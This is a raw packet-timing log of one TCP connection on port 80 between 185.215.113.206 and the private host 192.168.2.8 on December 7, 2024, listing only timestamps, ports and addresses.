Dec 7, 2024 15:06:43.544097900 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.544167042 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.544301033 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.544348001 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.545574903 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.545624018 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.545677900 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.545727015 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.546726942 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.546781063 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.546838999 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.546879053 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.547864914 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.547924042 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.547960043 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.548008919 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.549169064 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.549216986 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.549218893 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.549252033 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.550523996 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.550573111 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.550803900 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.550849915 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.551992893 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.552043915 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.552089930 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.552134991 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.552917004 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.552966118 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.553010941 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.553055048 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.554152966 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.554198027 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.554267883 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.554308891 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.555453062 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.555500984 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.555521011 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.555568933 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.556637049 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.556685925 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.556732893 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.556777000 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.557899952 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.557950020 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.557995081 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.558038950 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.559160948 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.559209108 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.559228897 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.559273005 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.560353041 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.560403109 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.560447931 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.560497999 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.561553955 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.561600924 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.561670065 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.561722040 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.562871933 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.562925100 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.563030005 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.563076019 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.564105034 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.564151049 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.564224958 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.564271927 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.565257072 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.565303087 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.565402031 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.565445900 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.566484928 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.566534042 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.566605091 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.566647053 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.567790985 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.567837954 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.567960024 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.568002939 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.568968058 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.569015980 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.569062948 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.569104910 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.570183992 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.570229053 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.570300102 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.570346117 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.571415901 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.571460962 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.571492910 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.571537018 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.572684050 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.572731018 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.572818041 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.572861910 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.574035883 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.574080944 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.574151039 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.574193954 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.575318098 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.575362921 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.575385094 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.575423002 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.576572895 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.576621056 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.576658964 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.576702118 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.577588081 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.577644110 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.577670097 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.577707052 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.579005957 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.579066992 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.579075098 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.579113960 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.580140114 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.580158949 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.580188990 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.580203056 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.581255913 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.581300974 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.581343889 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.581389904 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.582475901 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.582524061 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.582655907 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.582704067 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.583725929 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.583777905 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.583884001 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.583926916 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.584959984 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.585011005 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.585051060 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.585084915 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.586158991 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.586205006 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.586268902 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.586309910 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.587419033 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.587465048 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.587470055 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.587505102 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.588633060 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.588748932 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.588752031 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.588781118 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.589862108 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.589915037 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.589972973 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.590017080 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.591100931 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.591147900 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.591175079 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.591212988 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.592313051 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.592360020 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.592441082 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.592479944 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.593575001 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.593607903 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.593640089 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.593655109 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.594786882 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.594834089 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.594866037 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.594902992 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.596033096 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.596079111 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.596288919 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.596328020 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.597320080 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.597338915 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.597369909 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.597381115 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.598479986 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.598527908 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.598591089 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.598635912 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.599703074 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.599750996 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.599843025 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.599884987 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.600944042 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.600986958 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.601047039 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.601090908 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.602186918 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.602231026 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.602237940 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.602266073 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.603362083 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.603408098 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.730539083 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.730565071 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.730619907 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.730652094 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.730772018 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.730812073 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.730860949 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.730902910 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.731889009 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.731935024 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.732012033 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.732049942 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.732996941 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.733035088 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.733041048 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.733081102 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.734117031 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.734165907 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.734211922 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.734250069 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.735327005 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.735368967 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.735409975 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.735459089 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.736351967 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.736388922 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.736443996 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.736479998 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.737453938 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.737499952 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.737531900 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.737567902 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.738554001 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.738595963 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.738672972 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.738709927 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.739655018 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.739759922 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.739788055 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.739801884 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.740767002 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.740806103 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.740852118 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.740888119 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.741858006 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.741908073 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.741945028 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.742058992 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.743001938 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.743048906 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.743093014 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.743132114 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.744080067 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.744132042 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.744203091 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.744241953 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.745192051 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.745238066 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.745280981 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.745322943 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.746269941 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.746319056 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.746380091 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.746416092 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.747386932 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.747431040 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.747502089 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.747535944 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.748503923 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.748553038 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.748596907 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.748636007 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.749741077 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.749809027 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.749845982 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.749883890 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.750729084 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.750777960 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.750917912 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.750957012 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.751878023 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.751919031 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.752027988 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.752065897 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.752966881 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.753020048 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.753073931 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.753110886 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.754086018 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.754128933 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.754209042 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.754251957 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.755194902 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.755235910 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.755351067 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.755397081 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.756280899 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.756334066 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.756356955 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.756397963 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.757420063 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.757467031 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.757508993 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.757551908 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.758512020 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.758557081 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.758610964 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.758655071 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.759598970 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.759635925 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.759706020 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.759854078 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.760755062 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.760896921 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.760938883 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.760977030 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.761862993 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.761902094 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.761944056 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.761986017 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.762981892 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.763022900 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.763108015 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.763144970 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.764115095 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.764153004 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.764213085 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.764250040 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.765177011 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.765219927 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.765244961 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.765284061 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.766275883 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.766315937 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.766386986 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.766427040 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.767359972 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.767407894 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.767414093 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.767445087 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.768474102 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.768527031 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.768575907 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.768619061 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:43.769613028 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:43.769660950 CET	49738	80	192.168.2.8	185.215.113.206
